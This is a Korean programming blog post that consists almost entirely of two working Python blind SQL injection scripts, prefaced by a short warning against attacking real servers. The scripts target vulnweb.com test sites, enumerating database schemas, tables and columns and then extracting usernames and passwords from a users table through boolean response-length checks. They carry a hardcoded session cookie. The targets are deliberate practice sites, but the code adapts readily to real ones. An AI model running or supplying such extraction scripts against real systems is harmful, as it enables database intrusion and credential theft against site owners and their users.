Language/Python

Blind SQL injection Python Script

주의 !!
절대 실서버를 공격하는데 사용하지 마세요! 
실서버를 공격하여 피해를 입힌것에 대한 책임은 본인에게 있습니다. 

import http.client
import urllib
result=''          

length=len(result)+1 # 1
string=",abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"  #문자열 세팅

for k in range(0,10000): #그냥10000회 시도 #result 에는 한글자씩찾아진 문자열이 들어간다.
    for i in range(len(result)+1,1000):  #group_concat은 약 1000개 정도이다
        if(length<i):
             a=open('a.txt','a')             
             a.write(str(k)+'num :'+result+'\n')
             a.close()

             result=''
             length=1
             break
        else:
            for j in range(0,77): # 문자열 개수 77개 
                 headers={'Cookie':'PHPSESSID=nb978enqqm4teudnsp27vi9i25','Content-Type':'application/x-www-form-urlencoded'}       #로그인시 해더값의 쿠키값을 가져온다

                 conn=http.client.HTTPConnection('testphp.vulnweb.com')   #httplib->http.client 로 바뀜, 주소입력
                 #파라미터 입력
                 conn.request('GET',"/artists.php?artist=1+and+"+str(ord(string[j]))+"=(select+ascii(substr(schema_name,"+str(i)+",1))from+information_schema.schemata+limit+"+str(k)+",1)",'',headers)
                 
                 #post 타입일때 Content-Type':'application/x-www-form-urlencoded'이 3번째 ''로 들어간다
                 #테이블이름 가져오기 ,
                 # 또다른방법은 limit을 사용할시는  (group_concat 사용때 괄호차이)
    # conn.request('GET',"/artists.php?artist=1+and+"+str(ord(string[j]))+"=(select+ascii(substr(group_concat (schema_name),"+str(i)+",1))from+information_schema.schemata+limit+"+str(k)+",1)",'',headers) 

                 
                 data=conn.getresponse().read()    #데이터 값 가져오기

                 print (len(data)) # 데이터길이가져오기(5384, 3868) #모든 print문 ()사용  if 'hello' in data:하고  +and+1=1사용시                                          #5834나옴 , +and+1=0 은 3868 

                 if len(data)>5000:   #5000 이상일때 참이다, #참 거짓의 유무
                     result=result+string[j] 
                     print (str(i)+' Password is '+str(j))
                     print (result)
                     length=length+1
                     break

                 print (str(i)+' -> '+string[j])
print ('Password is '+result)

 


 

 

import http.client
import urllib
result=''          #중간에 글자가 끊긴다면 출력글자를 넣고 다시돌린다

length=len(result)+1
condition='avatar'             #테이블 이름을 한번에 가져오기위해추가(빈칸으로 한다)하고 ,컬럼안을  긁어올때만  첫번째컬럼을 입력한다
string=",abcdefghijklmnopqrstuvwxy0123456789zABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+:;"  #문자열 세팅

for k in range(0,10000):
    for i in range(len(result)+1,1000):  #group_concat은 약 1000개 정도이다
        if(length<i):
             a=open('ms.txt','a')             
             a.write(str(k)+'num :'+result+'\n')
             a.close()
             condition=result   #테이블 이름을 한번에 가져오기위해추가
             
             result=''
             length=1
             break
        else:
            for j in range(0,79):
                 headers={'Cookie':'PHPSESSID=nb978enqqm4teudnsp27vi9i25','Content-Type':'application/x-www-form-urlencoded'}       #로그인시 해더값의 쿠키값을 가져온다

                 conn=http.client.HTTPConnection('testasp.vulnweb.com')   #httplib->http.client 로 바뀜, 주소입력

                 #conn.request('GET',"/showthread.asp?id=0+and+"+str(ord(string[j]))+"=(select+ascii(substring(db_name("+str(k)+"),"+str(i)+",1)))",'',headers)  #mssql에서는 substring이다
                 #conn.request('GET',"/showthread.asp?id=3+and+"+str(ord(string[j]))+"=(select+ascii(substring((select+top+1+table_name+from+acuforum.information_schema.tables+order+by+table_name),"+str(i)+",1)))",'',headers)
                 #conn.request('GET',"/showthread.asp?id=3+and+"+str(ord(string[j]))+"=(select+ascii(substring((select+top+1+table_name+from+acuforum.information_schema.tables+where+table_name>'avatar'+order+by+table_name),"+str(i)+",1)))",'',headers)
                 #conn.request('GET',"/showthread.asp?id=3+and+"+str(ord(string[j]))+"=(select+ascii(substring((select+top+1+table_name+from+acuforum.information_schema.tables+where+table_name>'forums'+order+by+table_name),"+str(i)+",1)))",'',headers)
                 #conn.request('GET',"/showthread.asp?id=3+and+"+str(ord(string[j]))+"=(select+ascii(substring((select+top+1+table_name+from+acuforum.information_schema.tables+where+table_name>'threads'+order+by+table_name),"+str(i)+",1)))",'',headers)
                 
                 if len(condition)>2:  #테이블,column이름 가져오기  condition으로 자동으로 전부가져온다 if문 condition추가
                     #conn.request('GET',"/showthread.asp?id=3+and+"+str(ord(string[j]))+"=(select+ascii(substring((select+top+1+table_name+from+acuforum.information_schema.tables+where+table_name>'"+condition+"'+order+by+table_name),"+str(i)+",1)))",'',headers)
                     #conn.request('GET',"/showthread.asp?id=3+and+"+str(ord(string[j]))+"=(select+ascii(substring((select+top+1+column_name+from+acuforum.information_schema.columns+where+table_name='users'+and+column_name>'"+condition+"'+order+by+column_name),"+str(i)+",1)))",'',headers)
                     #두가지 조건이라 and로 묶어주었다 
                     conn.request('GET',"/showthread.asp?id=3+and+"+str(ord(string[j]))+"=(select+ascii(substring((select+top+1+concat(uname,char(58),upass)+from+users+where+uname>'"+condition+"'+order+by+uname),"+str(i)+",1)))",'',headers)

                 else:
                     #conn.request('GET',"/showthread.asp?id=3+and+"+str(ord(string[j]))+"=(select+ascii(substring((select+top+1+table_name+from+acuforum.information_schema.tables+order+by+table_name),"+str(i)+",1)))",'',headers)
                     #conn.request('GET',"/showthread.asp?id=3+and+"+str(ord(string[j]))+"=(select+ascii(substring((select+top+1+column_name+from+acuforum.information_schema.columns+where+table_name='users'+order+by+column_name),"+str(i)+",1)))",'',headers)
                     conn.request('GET',"/showthread.asp?id=3+and+"+str(ord(string[j]))+"=(select+ascii(substring((select+top+1+concat(uname,char(58),upass)+from+users+order+by+uname),"+str(i)+",1)))",'',headers)
                 
                 
                 
                 data=conn.getresponse().read()    #데이터 값 가져오기

                 print (len(data)) # 데이터길이가져오기(5384, 3868) #모든 print문 ()사용  if 'hello' in data:하고  +and+1=1사용시 5834나옴 , +and+1=0 은 3868

                 if len(data)>1700:   
                   result=result+string[j]
                   print (str(i)+' Password is '+str(j))
                   print (result)
                   length=length+1
                   break
                 print (str(i)+' -> '+string[j])

                 #if 'Hello' in data:
                 #    result=result+string[j]
                 #    print (str(i)+' Password is '+str(j))
                 #    print (result)
                 #    length=length+1
                 #    break 

                 #print (str(i)+' -> '+string[j])
print ('Password is '+result)

'Language > Python' 카테고리의 다른 글

파이썬으로 위키백과 음식이름 파싱하기  (1) 2019.04.10